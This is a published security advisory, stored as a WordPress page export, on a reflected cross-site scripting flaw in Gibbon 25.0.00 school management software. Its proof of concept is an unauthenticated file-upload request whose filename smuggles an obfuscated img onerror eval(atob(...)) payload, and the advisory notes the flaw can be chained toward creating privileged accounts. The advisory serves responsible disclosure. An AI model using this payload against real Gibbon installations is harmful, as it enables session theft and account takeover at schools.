{"id":21326,"date":"2023-11-02T10:10:12","date_gmt":"2023-11-02T09:10:12","guid":{"rendered":"https:\/\/herolab.usd.de\/21267-2\/"},"modified":"2023-11-14T15:23:42","modified_gmt":"2023-11-14T14:23:42","slug":"usd-2023-0024","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0024\/","title":{"rendered":"usd-2023-0024"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"default\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2023-0024 | Cross-Site Scripting<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2023-0024<br \/><strong>Product<\/strong>: Gibbon<br \/><strong>Affected Version<\/strong>: 25.0.00<br \/><strong>Vulnerability Type<\/strong>: CWE-79: <span>Cross-Site Scripting<\/span><br \/><strong>Security Risk<\/strong>: High<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/gibbonedu.org\" target=\"_blank\" rel=\"noopener\">https:\/\/gibbonedu.org<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE number<\/strong>: CVE-2023-45881<\/p>\n<h3>Desciption<\/h3>\n<p>Gibbon Edu is an open-source educational software designed for schools and institutions to manage their administrative and academic processes<br \/>It offers a range of features to facilitate communication, collaboration, and organization within the educational community.<\/p>\n<p>A reflected XSS was found in the filename of uploaded files.<br \/>This can lead to the creation of arbitrary high privileged accounts.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>The application allows to upload files without prior authentication using the<\/p>\n<pre>\/modules\/Planner\/resources_addQuick_ajaxProcess.php<\/pre>\n<p>endpoint.<\/p>\n<p>The following request can be used to upload files to the server:<\/p>\n<div class=\"codehilite\" style=\"background: #263238; color: #eff;\">\n<pre style=\"line-height: 125%;\"><span style=\"background: #263238;\"><\/span><span class=\"nf\" style=\"background: #263238; color: #82aaff;\">POST<\/span> <span class=\"nn\" style=\"background: #263238; color: #ffcb6b;\">\/modules\/Planner\/resources_addQuick_ajaxProcess.php<\/span> <span class=\"kr\" style=\"background: #263238; color: #bb80b3;\">HTTP<\/span><span class=\"o\" style=\"background: #263238; color: #89ddff;\">\/<\/span><span class=\"m\" style=\"background: #263238; color: #f78c6c;\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238; color: #bb80b3;\">Host<\/span><span class=\"o\" style=\"background: #263238; color: #89ddff;\">:<\/span> <span class=\"l\" style=\"background: #263238; color: #c3e88d;\">localhost:8080<\/span>\n<span class=\"err\" style=\"background: #263238; color: #ff5370;\">[...]<\/span>\n\n------WebKitFormBoundaryeSZWbY4RNteSpbi4\nContent-Disposition: form-data; name=\"id\"\n\nbody\n------WebKitFormBoundaryeSZWbY4RNteSpbi4\nContent-Disposition: form-data; name=\"bodyaddress\"\n\n\n------WebKitFormBoundaryeSZWbY4RNteSpbi4\nContent-Disposition: form-data; name=\"bodyfile1\"; filename=\"..\/&lt;img src=X onerror=eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))&gt;.gif\"\nContent-Type: text\/plain\n\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;&lt;h1&gt;hello&lt;\/h1&gt;\/html&gt;\n\n------WebKitFormBoundaryeSZWbY4RNteSpbi4\nContent-Disposition: form-data; name=\"bodyfile2\"\n\n\n------WebKitFormBoundaryeSZWbY4RNteSpbi4\nContent-Disposition: form-data; name=\"bodyfile3\"\n\n\n------WebKitFormBoundaryeSZWbY4RNteSpbi4\nContent-Disposition: form-data; name=\"bodyfile4\"\n\n\n------WebKitFormBoundaryeSZWbY4RNteSpbi4\nContent-Disposition: form-data; name=\"imagesAsLinks\"\n\nY\n------WebKitFormBoundaryeSZWbY4RNteSpbi4--\n<\/pre>\n<\/div>\n<p>The <strong>imagesAsLinks<\/strong> parameter must be set to <strong>Y<\/strong> to return HTML code.<br \/>The <em>filename<\/em> attribute of the <strong>bodyfile1<\/strong> parameter is reflected in the response.<\/p>\n<p>The response of the request will look like:<\/p>\n<div class=\"codehilite\" style=\"background: #263238; color: #eff;\">\n<pre style=\"line-height: 125%;\"><span style=\"background: #263238;\"><\/span><span class=\"kr\" style=\"background: #263238; color: #bb80b3;\">HTTP<\/span><span class=\"o\" style=\"background: #263238; color: #89ddff;\">\/<\/span><span class=\"m\" style=\"background: #263238; color: #f78c6c;\">1.1<\/span> <span class=\"m\" style=\"background: #263238; color: #f78c6c;\">200<\/span> <span class=\"ne\" style=\"background: #263238; color: #ffcb6b;\">OK<\/span>\n<span class=\"na\" style=\"background: #263238; color: #bb80b3;\">Server<\/span><span class=\"o\" style=\"background: #263238; color: #89ddff;\">:<\/span> <span class=\"l\" style=\"background: #263238; color: #c3e88d;\">Apache<\/span>\n<span class=\"na\" style=\"background: #263238; color: #bb80b3;\">Set-Cookie<\/span><span class=\"o\" style=\"background: #263238; color: #89ddff;\">:<\/span> <span class=\"l\" style=\"background: #263238; color: #c3e88d;\">G5ad8ffa23a25972f=uauluvtju3kvlave1ushepkvjo; path=\/; HttpOnly; SameSite=Lax<\/span>\n<span class=\"err\" style=\"background: #263238; color: #ff5370;\">[...]<\/span>\n\n&amp;lta target='_blank' style='font-weight: bold' href='http:\/\/localhost:8080\/uploads\/2023\/07\/imgsrcXonerrorevalatobYWxlcnQoZG9jdW1lbnQuZG9tYWluKQ_Go0qk7tKRgW0S9X8.gif'&gt;&amp;ltimg src=X onerror=eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))&gt;\n\n\n<\/pre>\n<\/div>\n<p>&nbsp;<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\"4.23.1\" _module_preset=\"default\"][et_pb_column _builder_version=\"4.23.1\" _module_preset=\"default\" type=\"4_4\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]<\/p>\n<p data-pm-slice=\"1 1 []\">This vulnerability can be chained with others, resulting in an exploit path that we demonstrated in this video:<\/p>\n<p>[\/et_pb_text][et_pb_code _builder_version=\"4.23.1\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\" custom_margin=\"|440px||||\"]<iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube-nocookie.com\/embed\/KTnc9R2J3As?si=hTJFdiXEmMXXztrm\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe>[\/et_pb_code][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"default\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n<h3><\/h3>\n<h3>Fix<\/h3>\n<p>It is recommended to treat all input on the website as potentially dangerous.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/79.html\" target=\"_blank\" rel=\"noopener\">https:\/\/cwe.mitre.org\/data\/definitions\/79.html<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2023-07-11<\/strong>: Vulnerability identified by Christian Poeschl<\/li>\n<li><strong>2023-09-19<\/strong>: Security Release v25.0.01<\/li>\n<li><strong>2023-11-02<\/strong>: Advisory published<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Christian Poeschl of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2023-0024 | Cross-Site Scripting Advisory ID: usd-2023-0024Product: GibbonAffected Version: 25.0.00Vulnerability Type: CWE-79: Cross-Site ScriptingSecurity Risk: HighVendor URL: https:\/\/gibbonedu.orgVendor acknowledged vulnerability: YesVendor Status: FixedCVE number: CVE-2023-45881 Desciption Gibbon Edu is an open-source educational software designed for schools and institutions to manage their administrative and academic processesIt offers a range of features to facilitate communication, collaboration, and [&hellip;]<\/p>\n","protected":false},"author":115,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-21326","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21326","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/115"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=21326"}],"version-history":[{"count":4,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21326\/revisions"}],"predecessor-version":[{"id":21435,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21326\/revisions\/21435"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=21326"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}